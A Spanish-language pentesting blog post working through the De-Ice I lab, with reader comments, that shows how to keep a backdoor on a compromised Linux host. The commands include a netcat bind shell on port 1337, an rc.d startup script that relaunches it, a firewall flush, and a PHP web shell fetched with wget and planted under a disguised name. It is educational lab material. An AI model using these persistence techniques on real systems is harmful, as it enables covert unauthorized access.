Ahora que hemos conseguido elevar privilegios y acceder a la información crítica contenida en el sistema objetivo, veamos algunos métodos para mantener el acceso al sistema. Sobra aclarar que toda la información publicada es de carácter educativo, y solo busca recrear de la mejor manera los ataques a los que están expuestos los sistemas y sus administradores y oficiales de seguridad. Todo ello con la finalidad de adquirir destrezas y habilidades en los temas relacionados con los Test de Penetración.
La finalidad de usar sistemas backdoors (puertas traseras) es mantener un acceso al sistema de manera oculta al administrador del sistema, los cuales permitirán una entrada luego de un reinicio del sistema o ciertas condiciones a la que se someta el sistema sin necesidad de penetrar nuevamente el sistema.
El tema de backdoors en sistemas es más un arte que una técnica, ya que esta obliga al PenTester a usar toda su creatividad e imaginación para lograr su objetivo de conseguir un acceso en cualquier momento al sistema sin ser descubierto.
Solo mostraré algunos métodos para crear puertas traseras con la herramienta Netcat y otro con el servicio de publicación en Web (PHP), con la finalidad de que los lectores se animen y publiquen los métodos que conozcan y nos vayamos preparando para los entornos que vienen.
Ya hemos hablado anteriormente de Netcat (Video Tutorial Netcat en BackTrack), ahora aprovechemos el entorno disponible para practicar los aprendido.
Para nuestra fortuna, en el entorno De-Ice I netcat se encuentra disponible en dicho sistema, por lo tanto solo necesitamos dejarlo a la escucha.
Antes de ello es necesario verificar como se encuentra configurado el sistema de IPTABLES con la finalidad de analizar como se realizan las conexiones al sistema (conexiones permitidas, conexiones denegadas, etc)
root@slax:/# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all – anywhere anywhere
ACCEPT udp – anywhere anywhere udp dpt:domain
ACCEPT udp – anywhere anywhere udp spt:domain
ACCEPT all – anywhere anywhere state RELATED,ESTAB LISHED
ACCEPT tcp – anywhere anywhere tcp dpt:ftp-data
ACCEPT tcp – anywhere anywhere tcp dpt:ftp
ACCEPT tcp – anywhere anywhere tcp dpt:ssh
ACCEPT tcp – anywhere anywhere tcp dpt:smtp
ACCEPT tcp – anywhere anywhere tcp dpt:http
ACCEPT tcp – anywhere anywhere tcp dpt:pop3
ACCEPT tcp – anywhere anywhere tcp dpt:imap
ACCEPT tcp – anywhere anywhere tcp dpt:https
LOG_DROP all – anywhere anywhere
Chain FORWARD (policy ACCEPT)
target prot opt source destination
LOG_DROP all – anywhere anywhere
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all – anywhere anywhere
Chain LOG_DROP (2 references)
target prot opt source destination
DROP all – anywhere anywhere
Si quisieramos tirar abajo todas las reglas (no recomendado para el objetivo de pasar desapercibido) solo basta con ejecutar la siguiente instrucción.
root@slax:/# iptables -F
La idea es que los lectores propongan una de las muchas maneras de agregar esta conexión a las reglas de IPTABLES sin tirar las demás abajo (Más información sobre IPTABLES y su configuración/edición)
Luego de esta “limpieza” de reglas vemos como quitamos la negación a peticiones ICMP que observamos al comienzo de la prueba.
S3cTr4cK@0100100-0100100 ~
$ ping 192.168.1.100
Pinging 192.168.1.100 with 32 bytes of data:
Reply from 192.168.1.100: bytes=32 time=1ms TTL=64
Reply from 192.168.1.100: bytes=32 time=1ms TTL=64
Ping statistics for 192.168.1.100:
Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1ms, Maximum = 1ms, Average = 1ms
Ahora ejecutemos a netcat en modo escucha en el sistema objetivo (De-Ice I)
root@slax:/# nc -l -p 1337 -e /bin/bash
Si realizaramos un escaneo sencillo con nmap a varios puertos incluyendo el que dejamos a la escucha, encontraríamos los siguientes:
C:\Program Files\Nmap>nmap -p 22,25,80,443,1337 192.168.1.100
Starting Nmap 5.00 ( http://nmap.org ) at 2009-12-09 23:51 SA Pacific Standard T
Interesting ports on 192.168.1.100:
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
443/tcp closed https
1337/tcp open waste
MAC Address: 00:1A:73:90:81:0B (Gemtek Technology Co.)
Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds
Ahora desde nuestro sistema cliente (atacante) solo basta conectarnos al puerto que dejamos a la escucha (1337) y ejecutar algunos comandos:
C:\Documents and Settings\S3cTr4cK\My Documents\Descargas\nc>nc 192.168.1.100 1337
whoami
root
pwd
/
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:43:03:6B
inet addr:192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe43:36b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6377 errors:0 dropped:0 overruns:0 frame:0
TX packets:1365 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:438725 (428.4 KiB) TX bytes:169876 (165.8 KiB)
Interrupt:5 Base address:0×2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:176 errors:0 dropped:0 overruns:0 frame:0
TX packets:176 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:15878 (15.5 KiB) TX bytes:15878 (15.5 KiB)
uname -a
Linux slax 2.6.16 #95 Wed May 17 10:16:21 GMT 2006 i686 athlon-4 i386 GNU/Linux
Ahora bien… ¿Qué pasaría si quisieramos que dicha instrucción se ejecutara al inicio del sistema objetivo?
Solo basta automatizar dicho inicio alojando la instrucción (script) en el directorio /etc/rc.d
Veamos el contenido de este directorio y un ejemplo de script para dicho propósito:
Contenido:
root@slax:/etc/rc.d# ls
rc.0 rc.alsa rc.inet1 rc.nfsd rc.sshd
rc.4 rc.bind rc.inet1.conf rc.pcmcia rc.syslog
rc.6 rc.cups rc.inet2 rc.portmap rc.sysvinit
rc.FireWall rc.firewall rc.inetd rc.saslauthd rc.udev
rc.K rc.font.new rc.ip_forward rc.sendmail rc.vsftpd
rc.M rc.gpm rc.local rc.serial rc.wireless
rc.S rc.hotplug rc.modules rc.slax rc.wireless.conf
rc.acpid rc.httpd rc.mysqld rc.slaxconfig
Hagamos entonces lo mismo para Netcat
Script:
root@slax:/etc/rc.d# vi rc.netcat1
#!/bin/sh
mkdir /tmp/netcat
while true ; do
cd /tmp/netcat | nc -l -p 1337 -e /bin/bash
done
Y quedaría así:
root@slax:/etc/rc.d# more rc.netcat1
#!/bin/sh
mkdir /tmp/netcat
while true ; do
cd /tmp/netcat | nc -l -p 1337 -e /bin/bash
done
Otra buena opción sería utilizar a Netcat en modo reverse shell, que también ha sido tratado en el video tutorial citado anteriormente.
El tercer método para habilitar una puerta tracera en el sistema de manera más “discreta” puede ser el uso del servidor web en la máquina objetivo, veamos:
Para ello haremos uso de una shell en el leguaje del lado del servidor PHP.
Primero debemos descargarla y transferirla a la máquina objetivo.
Para la transferencia he habilitado un server en mi máquina, solo basta realizar la petición con wget:
root@slax:~/Desktop# wget http://192.168.1.3/shellphp.txt
–00:34:53– http://192.168.1.3/shellphp.txt
=> `shellphp.txt’
Connecting to 192.168.1.3:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 63,743 (62K) [text/plain]
100%[====================================>] 63,743 –.–K/s
00:34:53 (64.06 MB/s) – `shellphp.txt’ saved [63743/63743]
root@slax:~/Desktop# ls
Home.desktop System.desktop shellphp.txt
root@slax:~/Desktop# cp shellphp.txt /var/www/htdocs/infosys.php
Luego solo bastaría con ingresar en cualquier momento a dicha URL, para mi caso:
http://192.168.1.100/infosys.php
| File / Folder Name | # Size KByte | # Download | # Edit | # Chmod | Delete |
| . dir | # | # | # | Chmod | Delete |
|---|---|---|---|---|---|
| .. dir | # | # | # | Chmod | Delete |
| infosys.php | 62 # | download # | Edit # | Chmod | Delete |
| level.php | 2 # | download # | Edit # | Chmod | Delete |
| index2.php | 3 # | download # | Edit # | Chmod | Delete |
| index.php | 2 # | download # | Edit # | Chmod | Delete |
| copyright.txt | 15 # | download # | Edit # | Chmod | Delete |
| background.jpg | 41 # | download # | Edit # | Chmod | Delete |
| info.php | 0 # | download # | Edit # | Chmod | Delete |
etc…
Vuelvo y reitero la invitación a que los lectores compartan sus métodos para habilitar puertas traseras en sistemas.
En futuros entornos conoceremos algunos métodos aún más avanzados que los presentados en este post realizado a modo de introducción a los Backdoors.






Muy muy bueno… Muchas Gracias (y)
Muy bueno, voy a practicar haber que tal me va la cosa xD.
claro avatar al hablar de backdoor hablariamos de un buen mundo de puertas traseras aunque los hay de todos tipo de idiomas olores colores y sabores todos no hacen la misma peticion de escucha..
si hablamos de tener un puerto a la escucha y teniendo el iptables el administrador de el sistema se daria cuenta que algo pasa pasando un herramienta que le diagnostique las conexiones e infiltraciones a los puertos …
mi recomendacion seria hacer que el iptables lo paren en el momento de activar el backdoor y como los bakdoor nos pediran peticiones de conexiones que a su vez son logs que se dejaran seria troyanizar 1 puerto que ya es utilizado por 1 ampliacion segura ….
es como esconderse cuando hace mucho sol tras de alguien obeso y muy grande para que no nos pegue el sol y haci no ser descubiertos por que cada peticion de conexion es 1 logs que dejaras en iptables de el acceso remoto que dejas
hola a toda la comunidad soy muy nuevo en todo este cuento,
ahora mi problema es el siguiente.
Tengo backtrack4 instalado en un disco duro de 20G y el wmware workstation 7.1, wmware player, virtualnetworking y la imagen iso de-ice I, ahora preparo la maquina virtual con ram, disco duro etc pero a lo ultimo me pregunta por la licencia que no tengo lei q ai una version por 30 dias
pero como hago para activarla o conseguir una licencia…
muchas gracias por su atencion